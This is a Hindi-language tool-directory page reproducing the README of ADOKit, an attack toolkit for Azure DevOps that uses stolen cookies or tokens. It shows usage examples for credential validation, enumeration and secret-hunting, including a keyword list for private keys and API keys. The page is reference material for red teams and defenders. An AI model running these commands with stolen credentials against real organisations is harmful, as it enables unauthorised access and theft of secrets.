Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ADOKit — Azure DevOps REST API का उपयोग करके चुराए गए कुकीज़ या PATs के साथ टोही, विशेषाधिकार वृद्धि और स्थिरता के लिए मॉड्यूलर अटैक टूलकिट। | Kitploit
उपकरण/GitHubGitHub/h4wkst3r/adokit
विशेषाधिकार वृद्धिटोहीस्थायित्व तंत्रपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षारेड टीमिंग
GitHubh4wkst3r/adokit

ADOKit

Azure DevOps REST API का उपयोग करके चुराए गए कुकीज़ या PATs के साथ टोही, विशेषाधिकार वृद्धि और स्थिरता के लिए मॉड्यूलर अटैक टूलकिट।

रिपॉजिटरी देखें
1556424 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ADOKit

विवरण

Azure DevOps Services Attack Toolkit - ADOKit एक टूलकिट है जिसका उपयोग उपलब्ध REST API का लाभ उठाकर Azure DevOps Services पर हमला करने के लिए किया जा सकता है। यह उपकरण उपयोगकर्ता को एक आक्रमण मॉड्यूल निर्दिष्ट करने की अनुमति देता है, साथ ही संबंधित Azure DevOps Services इंस्टेंस के लिए मान्य क्रेडेंशियल्स (API कुंजी या चुराई गई प्रमाणीकरण कुकी) भी निर्दिष्ट करता है। समर्थित आक्रमण मॉड्यूल में टोही, विशेषाधिकार वृद्धि और स्थायित्व शामिल हैं। ADOKit को एक मॉड्यूलर दृष्टिकोण में बनाया गया था, ताकि सूचना सुरक्षा समुदाय द्वारा भविष्य में नए मॉड्यूल जोड़े जा सकें।

ADOKit द्वारा उपयोग की जाने वाली तकनीकों के पूर्ण विवरण X-Force Red श्वेतपत्र में हैं।

ब्लैक हैट यूएसए शस्त्रागार 2024

प्रस्तुति स्लाइड्स और डेमो इस रिपॉजिटरी में BHUSA Arsenal 2024 फ़ोल्डर में शामिल हैं।

रिलीज़

  • ADOKit का संस्करण 1.4.1 रिलीज़ में पाया जा सकता है

विषय-सूची

  • ADOKit
  • विषय-सूची
  • स्थापना/निर्माण
    • प्रयुक्त पुस्तकालय
    • पूर्व-संकलित
    • स्वयं निर्माण
  • कमांड मॉड्यूल
  • तर्क/विकल्प
  • प्रमाणीकरण विकल्प
  • मॉड्यूल विवरण तालिका
  • उदाहरण
    • टोही
      • Azure DevOps एक्सेस सत्यापित करें
      • Whoami
      • संगठनों की सूची बनाएं
      • रिपॉजिटरी की सूची बनाएं
      • रिपॉजिटरी खोजें
      • प्रोजेक्ट की सूची बनाएं
      • प्रोजेक्ट खोजें
      • कोड खोजें
      • फ़ाइलें खोजें
      • उपयोगकर्ताओं की सूची बनाएं
      • उपयोगकर्ता खोजें
      • टीमों की सूची बनाएं
      • टीम खोजें
      • टीम के सदस्य प्राप्त करें
      • समूहों की सूची बनाएं
      • समूह खोजें
      • समूह के सदस्य प्राप्त करें
      • प्रोजेक्ट अनुमतियाँ प्राप्त करें
      • क्रेडेंशियल खोजें
      • बिल्ड लॉग प्राप्त करें
      • बिल्ड लॉग की सूची बनाएं
      • बिल्ड लॉग खोजें
    • स्थायित्व
      • PAT बनाएं
      • PAT की सूची बनाएं
      • PAT हटाएं
      • SSH कुंजी बनाएं
      • SSH कुंजियों की सूची बनाएं
      • SSH कुंजी हटाएं
    • विशेषाधिकार वृद्धि
      • प्रोजेक्ट व्यवस्थापक जोड़ें
      • प्रोजेक्ट व्यवस्थापक हटाएं
      • बिल्ड व्यवस्थापक जोड़ें
      • बिल्ड व्यवस्थापक हटाएं
      • संग्रह व्यवस्थापक जोड़ें
      • संग्रह व्यवस्थापक हटाएं
      • संग्रह बिल्ड व्यवस्थापक जोड़ें
      • संग्रह बिल्ड व्यवस्थापक हटाएं
      • संग्रह बिल्ड सेवा खाता जोड़ें
      • संग्रह बिल्ड सेवा खाता हटाएं
  • पता लगाना
  • रोडमैप
  • संदर्भ

स्थापना/निर्माण

प्रयुक्त पुस्तकालय

इस परियोजना में नीचे दिए गए तृतीय-पक्ष पुस्तकालयों का उपयोग किया गया है।

पुस्तकालयURLलाइसेंस
Fodyhttps://github.com/Fody/FodyMIT लाइसेंस
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT लाइसेंस

पूर्व-संकलित

  • रिलीज़ में पूर्व-संकलित बाइनरी का उपयोग करें

स्वयं निर्माण

Visual Studio को सेटअप करने के लिए नीचे दिए गए चरणों का पालन करें ताकि आप स्वयं प्रोजेक्ट को संकलित कर सकें। इसके लिए दो .NET पुस्तकालयों की आवश्यकता होती है जिन्हें NuGet पैकेज प्रबंधक से स्थापित किया जा सकता है।

  • Visual Studio प्रोजेक्ट लोड करें और "Tools" --> "NuGet Package Manager" --> "Package Manager Settings" पर जाएं
  • "NuGet Package Manager" --> "Package Sources" पर जाएं
  • URL https://api.nuget.org/v3/index.json के साथ एक पैकेज स्रोत जोड़ें
  • Costura.Fody NuGet पैकेज स्थापित करें।
    • Install-Package Costura.Fody -Version 3.3.3
  • Newtonsoft.Json पैकेज स्थापित करें
    • Install-Package Newtonsoft.Json
  • अब आप स्वयं प्रोजेक्ट बना सकते हैं!

कमांड मॉड्यूल

  • टोही
    • check - जाँचें कि क्या संगठन Azure DevOps का उपयोग करता है और क्या क्रेडेंशियल मान्य हैं
    • whoami - वर्तमान उपयोगकर्ता और उसकी समूह सदस्यता सूचीबद्ध करें
    • listorgs - Azure DevOps के भीतर सभी या सुलभ संगठनों को सूचीबद्ध करें
    • listrepo - सभी रिपॉजिटरी सूचीबद्ध करें
    • searchrepo - दिए गए रिपॉजिटरी के लिए खोजें
    • listproject - सभी प्रोजेक्ट सूचीबद्ध करें
    • searchproject - दिए गए प्रोजेक्ट के लिए खोजें
    • searchcode - कोड में खोज शब्द वाले कोड की खोज करें
    • searchfile - खोज शब्द के आधार पर फ़ाइल खोजें
    • listuser - उपयोगकर्ताओं को सूचीबद्ध करें
    • searchuser - दिए गए उपयोगकर्ता की खोज करें
    • listteam - टीमों को सूचीबद्ध करें
    • searchteam - दी गई टीम की खोज करें
    • getteammembers - दी गई टीम के लिए टीम सदस्य प्राप्त करें
    • listgroup - समूहों को सूचीबद्ध करें
    • searchgroup - दिए गए समूह की खोज करें
    • getgroupmembers - दिए गए समूह के सभी समूह सदस्यों को सूचीबद्ध करें
    • getpermissions - किसी दिए गए प्रोजेक्ट तक पहुंच रखने वालों की अनुमतियाँ प्राप्त करें
    • creds - कोड में क्रेडेंशियल खोजें (कीवर्ड नीचे सूचीबद्ध हैं)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - एक या सभी प्रोजेक्ट के लिए बिल्ड लॉग डाउनलोड करें
    • listbuildlogs - एक या सभी प्रोजेक्ट के लिए बिल्ड लॉग सूचीबद्ध करें
    • searchbuildlogs - दिए गए खोज शब्द के लिए बिल्ड लॉग खोजें
  • स्थायित्व
    • createpat - उपयोगकर्ता के लिए व्यक्तिगत पहुंच टोकन बनाएं

तर्क/विकल्प

  • /credential: - प्रमाणीकरण के लिए क्रेडेंशियल (PAT या कुकी)। सभी मॉड्यूल पर लागू।
  • /url: - Azure DevOps URL. सभी मॉड्यूल पर लागू।
  • /search: - खोजने के लिए कीवर्ड। सभी मॉड्यूल पर लागू नहीं।
  • /project: - जिस प्रोजेक्ट के लिए कार्रवाई करनी है। सभी मॉड्यूल पर लागू नहीं।
  • /user: - किसी विशिष्ट उपयोगकर्ता के विरुद्ध कार्रवाई करें। सभी मॉड्यूल पर लागू नहीं।
  • /id: - स्थायित्व मॉड्यूल के साथ उपयोग किया जाता है ताकि किसी विशिष्ट टोकन ID के विरुद्ध कार्रवाई की जा सके। सभी मॉड्यूल पर लागू नहीं।
  • /group: - किसी विशिष्ट समूह के विरुद्ध कार्रवाई करें। सभी मॉड्यूल पर लागू नहीं।

प्रमाणीकरण विकल्प

नीचे वे प्रमाणीकरण विकल्प दिए गए हैं जो आपके पास ADOKit के साथ Azure DevOps इंस्टेंस में प्रमाणित करते समय हैं।

  • चुराई गई कुकी - UserAuthentication - यह .dev.azure.com डोमेन के लिए किसी उपयोगकर्ता की मशीन पर UserAuthentication कुकी होगी।
    • /credential:UserAuthentication=ABC123
  • चुराई गई कुकी - AadAuthentication - यह .dev.azure.com डोमेन के लिए किसी उपयोगकर्ता की मशीन पर AadAuthentication कुकी होगी।
    • /credential:eyJ0...
  • व्यक्तिगत पहुंच टोकन (PAT) - यह एक एक्सेस टोकन/API कुंजी होगी जो एक एकल स्ट्रिंग होगी।
    • /credential:apiToken
  • चुराया गया एक्सेस टोकन - यदि आप एक उपयुक्त एक्सेस टोकन चुरा सकते हैं या रीफ्रेश कर सकते हैं, तो आप इसका भी उपयोग कर सकते हैं। एक्सेस टोकन का उपयोग करते समय, यह Azure Resource Manager (ARM) संसाधन के लिए मान्य होना चाहिए - "aud":"https://management.core.windows.net/" या Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

मॉड्यूल विवरण तालिका

नीचे दी गई तालिका प्रत्येक मॉड्यूल के लिए आवश्यक अनुमतियाँ दिखाती है।

उदाहरण

Azure DevOps एक्सेस सत्यापित करें

उपयोग का मामला

यह सुनिश्चित करने के लिए प्रमाणीकरण जाँच करें कि संगठन Azure DevOps का उपयोग कर रहा है और प्रदान किए गए क्रेडेंशियल मान्य हैं।

सिंटैक्स

check मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह आउटपुट देगा कि प्रदान किया गया संगठन Azure DevOps का उपयोग कर रहा है या नहीं, और यदि हाँ, तो प्रदान किए गए क्रेडेंशियल को सत्यापित करने का प्रयास करेगा।

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

उदाहरण आउटपुट```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### उपयोग मामला

> *वर्तमान उपयोगकर्ता और उपयोगकर्ता के समूह सदस्यताएँ प्राप्त करें*

#### वाक्यविन्यास

`whoami` मॉड्यूल, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह वर्तमान उपयोगकर्ता और इसकी सभी समूह सदस्यताएँ आउटपुट करेगा।

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

संगठन सूची

उपयोग मामला

दिए गए एक्सेस टोकन का उपयोग करके संगठनों को पुनः प्राप्त करें।

सिंटैक्स

listorgs मॉड्यूल को आवश्यक प्रमाणीकरण जानकारी प्रदान करें। डिफ़ॉल्ट रूप से, यह कमांड केवल उन संगठनों को सूचीबद्ध करता है जो दिए गए एक्सेस टोकन के साथ सुलभ हैं।

  • Azure AD टेनेंट के भीतर सभी DevOps संगठनों को गिनने के लिए /mode:aad का उपयोग करें, भले ही सीधी पहुंच हो या न हो।
  • एक कस्टम AEX एंडपॉइंट निर्दिष्ट करने के लिए /endpoint:ENDPOINT_NAME का उपयोग करें।
    • अतिरिक्त एंडपॉइंट्स को aex.dev.azure.com से "X-VSS-DeploymentAffinity" कुकी का निरीक्षण करके पहचाना जा सकता है।

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

उदाहरण आउटपुट```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### सूची रेपो

#### उपयोग का मामला

> *Azure DevOps उदाहरण में उपयोग किए जा रहे रेपॉजिटरी खोजें*

#### वाक्यविन्यास

`listrepo` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह रेपॉजिटरी का नाम और URL आउटपुट करेगा।

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

रिपॉजिटरी खोजें

उपयोग मामला

Azure DevOps इंस्टेंस में रिपॉजिटरी नाम से रिपॉजिटरी खोजें

सिंटैक्स

searchrepo मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी दें। यह मेल खाने वाले रिपॉजिटरी का नाम और URL आउटपुट करेगा।

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

उदाहरण आउटपुट```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### परियोजनाओं की सूची

#### उपयोग मामला

> *Azure DevOps इंस्टेंस में उपयोग की जा रही परियोजनाओं का पता लगाएं*

#### वाक्यविन्यास

`listproject` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह परियोजना का नाम, दृश्यता (सार्वजनिक या निजी) और URL आउटपुट करेगा।

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

परियोजनाएँ खोजें

उपयोग मामला

Azure DevOps इंस्टेंस में परियोजना नाम से परियोजनाएँ खोजें

वाक्यविन्यास

searchproject मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मेल खाने वाली परियोजना का नाम, दृश्यता (सार्वजनिक या निजी) और URL आउटपुट करेगा।

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

उदाहरण आउटपुट```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### कोड खोजें

#### उपयोग केस

> *Azure DevOps इंस्टेंस में दिए गए कीवर्ड वाला कोड खोजें*

#### सिंटैक्स

`searchcode` मॉड्यूल और अपने खोज मापदंड को `/search:` कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मिलते कोड फ़ाइल का URL, साथ ही कोड में मेल खाने वाली पंक्ति आउटपुट करेगा।

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

फ़ाइलें खोजें

उपयोग मामला

Azure DevOps में फ़ाइल नाम में दिए गए कीवर्ड वाली रिपॉजिटरी में फ़ाइलें खोजें

वाक्यविन्यास

searchfile मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL. यह मिलान फ़ाइल का URL उसके संबंधित रिपॉजिटरी में आउटपुट करेगा।

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

उदाहरण आउटपुट```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Creds खोज

#### उपयोग मामला

> *Azure DevOps में पासवर्ड या API कुंजी जैसे रहस्यों वाले कोड की खोज करें*

#### वाक्य-विन्यास

`creds` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी। यह मिलान फ़ाइल का URL उसके संबंधित रिपॉजिटरी में और वह मिलान पंक्ति(याँ) आउटपुट करेगा जहाँ creds मौजूद हैं।

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

बिल्ड लॉग प्राप्त करें

उपयोग का मामला

सभी पाइपलाइन रन (बिल्ड लॉग) के लॉग डाउनलोड करें। फिर आप जानकारी और/या रहस्यों के लिए ऑफ़लाइन खोज कर सकते हैं।

वाक्य-विन्यास

किसी दिए गए प्रोजेक्ट के लिए सभी बिल्ड लॉग डाउनलोड करने के लिए getbuildlogs मॉड्यूल को /project: के साथ प्रदान करें। यदि आप उन्हें सभी प्रोजेक्ट्स के लिए डाउनलोड करना चाहते हैं, तो /project: तर्क में all निर्दिष्ट करें। इससे लॉग डाउनलोड करने के लिए आपके वर्तमान कार्यशील निर्देशिका में ADOKit-[random 8 chars] नामक एक फ़ोल्डर बनाया जाएगा।

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

उदाहरण आउटपुट```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### बिल्ड लॉग्स सूचीबद्ध करें

#### उपयोग मामला

> *किसी दिए गए प्रोजेक्ट या सभी प्रोजेक्ट के लिए उपलब्ध बिल्ड लॉग्स को सूचीबद्ध करें।*

#### सिंटैक्स

किसी दिए गए प्रोजेक्ट के लिए सभी बिल्ड लॉग्स को सूचीबद्ध करने के लिए `listbuildlogs` मॉड्यूल को `/project:` के साथ प्रदान करें। यदि आप उन्हें सभी प्रोजेक्ट के लिए सूचीबद्ध करना चाहते हैं, तो `/project:` आर्गुमेंट में `all` निर्दिष्ट करें।

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

बिल्ड लॉग खोजें

उपयोग केस

किसी Azure DevOps इंस्टैंस में दिए गए कीवर्ड वाले बिल्ड लॉग खोजें

सिंटैक्स

searchbuildlogs मॉड्यूल और अपने खोज मानदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी दिए गए प्रोजेक्ट के सभी बिल्ड लॉग खोजने के लिए /project: आर्गुमेंट का उपयोग करें। यदि आप सभी प्रोजेक्ट्स के बिल्ड लॉग खोजना चाहते हैं, तो /project: आर्गुमेंट में all निर्दिष्ट करें। यह मेल खाने वाले बिल्ड आउटपुट लॉग फ़ाइल के URL के साथ-साथ बिल्ड लॉग की उस पंक्ति को आउटपुट करेगा जो मेल खाती है।

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

